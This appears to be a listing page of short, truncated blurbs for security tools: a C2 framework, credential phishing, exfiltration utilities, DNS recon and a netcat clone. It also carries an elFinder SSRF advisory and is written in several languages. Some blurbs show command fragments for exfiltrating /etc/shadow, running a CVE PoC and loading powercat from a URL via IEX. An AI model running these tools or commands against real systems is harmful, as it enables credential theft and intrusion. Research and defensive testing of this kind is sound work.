GPT_Vuln-analyzer

GPTVuln-analyzer This is a Proof Of Concept application that demostrates how AI can be used to generate accurate results for vulnerability analysis and also allows further utilization of the already super useful ChatGPT made using openai-api, python-nmap, dnsresolver python modules and also use...

elFinder: SSRF protection bypass via DNS rebinding in the `fsock_get_contents()` fallback

poc.zip Summary elFinder 2.1.69 is vulnerable to a Server-Side Request Forgery SSRF protection bypass when PHP cURL is unavailable and URL uploads use the fsockgetcontents fallback. An attacker who can submit a URL for server-side upload can use an attacker-controlled DNS hostname that initially...

CVE-2026-81889

elFinder (open-source web file manager) contains an SSRF protection bypass in php/elFinder.class.php prior to version 2.1.70 . When PHP cURL is unavailable, get_remote_contents() falls back to fsock_get_contents(), which performs a second DNS resolution to $arr['host'] independent of the IP alrea...

EUVD-2026-68768

elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Prior to 2.1.70, elFinder URL uploads in php/elFinder.class.php can bypass server-side request forgery protections when PHP cURL is unavailable because validateaddress validates $info'ip', but getremotecontent...

godoh

🕳 godoh A DNS-over-HTTPS Command & Control Proof of Concept introduction godoh is a proof of concept Command and Control framework, written in Golang, that uses DNS-over-HTTPS as a transport medium. Currently supported providers include Google, Cloudflare but also contains the ability to use...

dnstwist

ユーザーがドメイン名を入力しようとして、どのようなトラブルに巻き込まれ得るかを確認しましょう。 攻撃者があなたを攻撃するために利用できる類似ドメインを検出します。タイポスクワッティング、 フィッシング攻撃、詐欺、ブランド冒充を検出できます。標的型脅威インテリジェンスの 追加情報源として有用です。 DNSファジングは、組織を標的とする悪意のあるドメインを発見することを目的とした自動化ワークフローです。 このツールは、指定されたドメイン名に基づいて包括的な置換リストを生成し、 その置換のいずれかが使用されているかを検証します。...

dnstwist

See what sort of trouble users can get in trying to type your domain name. Find lookalike domains that adversaries can use to attack you. Can detect typosquatters, phishing attacks, fraud, and brand impersonation. Useful as an additional source of targeted threat intelligence. DNS fuzzing is an...

infoooze

Infoooze Report Bug · Request Feature Table of Content 1. About Infoooze Features Support 2. Getting Started Prerequisites Installation on Linux Installation on Android Uninstall 3. Usage Options Examples 4. Run in Gitpod 5. Contributing 6. License 7. Contact About Infoooze Infoooze is a powerful...

domain_analyzer

Domain Analyzer v0.8.3 What Domain analyzer is a security analysis tool that automatically discovers and reports information about a given domain. Its main purpose is to analyze domains in an unattended way. It has many crazy features, such as getting more domains from DNS zones, automatic nmap,...

domain_analyzer

Domain Analyzer v0.8.3 功能说明 Domain analyzer 是一款安全分析工具，能够自动发现并报告有关指定域的信息。其主要目的是以无人值守的方式分析域。 它拥有许多疯狂的功能，例如从 DNS 区域获取更多域、自动 nmap、网络爬虫以及世界统治模式。查看功能。 如果你希望 nmap 扫描更多端口、运行脚本，并在这些网站上运行爬虫，则需要拥有 root 权限。 默认选项示例 参见 asciinema 上的演示：https://asciinema.org/a/466274 运行原理 Domain analyzer 接收一个域名，并查找其相关信息，例如 DNS...

CVE-2021-23017-PoC

CVE-2021-23017-PoC root@kitploit: pip install -r requirements.txt python3 poc.py --target 172.1.16.100 --dnsserver 172.1.16.1 Este software ha sido creado únicamente con fines de investigación académica y para el desarrollo de técnicas defensivas efectivas, y no está destinado a ser utilizado par...

exfilkit

exfilkit Data exfiltration utility for testing detection capabilities Description Data exfiltration utility used for testing detection capabilities of security products. Obviously for legal purposes only. Exfiltration How-To /etc/shadow - HTTP GET requests Server root@kitploit: ./exfilkit-cli.py ...

exfilkit

exfilkit 用于测试检测能力的数据外泄工具 描述 用于测试安全产品检测能力的数据外泄工具。显然仅用于合法目的。 外泄操作指南 /etc/shadow - HTTP GET 请求 Server root@kitploit: ./exfilkit-cli.py -m exfilkit.methods.http.paramcipher.GETServer -lp 80 -o output.log Client root@kitploit: $ ./exfilkit-cli.py -m exfilkit.methods.http.paramcipher.GETClient -rh...

aiodnsbrute

异步DNS暴力破解 一个Python 3.5+工具，使用asyncio异步暴力破解域名。 速度 速度很快。 小规模VPS主机上的基准测试显示，约10万次DNS解析耗时1.5-2分钟。一台亚马逊M3机器在3分钟左右完成了100万次请求。实际速度可能因环境而异。如果你纯粹追求速度，最好避免使用谷歌的解析器。 免责声明 你的ISP和家用路由器的DNS服务器可能很糟。如果追求速度，请使用带有快速解析器的VPS（或自己搭建）。 警告 该工具可能产生大量DNS流量。如果你DoS了别人的DNS服务器，本人概不负责。 安装 root@kitploit: $ pip install aiodnsbrute...

aiodnsbrute

Async DNS Brute A Python 3.5+ tool that uses asyncio to brute force domain names asynchronously. Speed It's fast. Benchmarks on small VPS hosts put around 100k DNS resoultions at 1.5-2mins. An amazon M3 box was used to make 1 mil requests in just over 3 minutes. Your mileage may vary. It's probab...

CredPhish

CredPhish is a PowerShell script designed to invoke credential prompts and exfiltrate passwords. It relies on CredentialPicker to collect user passwords, Resolve-DnsName for DNS exfiltration, and Windows Defender's ConfigSecurityPolicy.exe to perform arbitrary GET requests. For a walkthrough, see...

powercat

powercat Netcat: The powershell version. Powershell Version 2 and Later Supported Installation powercat is a powershell function. First you need to load the function before you can execute it. You can put one of the below commands into your powershell profile so powercat is automatically loaded...

powercat

powercat Netcat：PowerShell 版本。（支持 PowerShell 2 及以上版本） 安装 powercat 是一个 PowerShell 函数。首先，你需要加载该函数才能执行它。你可以将以下命令之一放入你的 PowerShell 配置文件中，以便在 PowerShell 启动时自动加载 powercat。 root@kitploit: 从下载的 .ps1 文件加载函数： . .\powercat.ps1 从 URL 加载函数： IEX New-Object...

reconerator

Resumen Este es un ensamblado .NET personalizado que realiza una serie de actividades de reconocimiento situacional. Hay varios conjuntos de funcionalidades actuales: BASIC - Obtiene información del disco y del registro. LDAP - Permite realizar consultas LDAP personalizadas de Active Directory...

reconerator

Overview This is a custom .NET assembly which will perform a number of situational awareness activities. There are a number of current featuresets: BASIC - Obtains information from the disk and registry. LDAP - Allows customised AD LDAP queries to be made. RESOLVEHOST - Performs DNS lookup querie...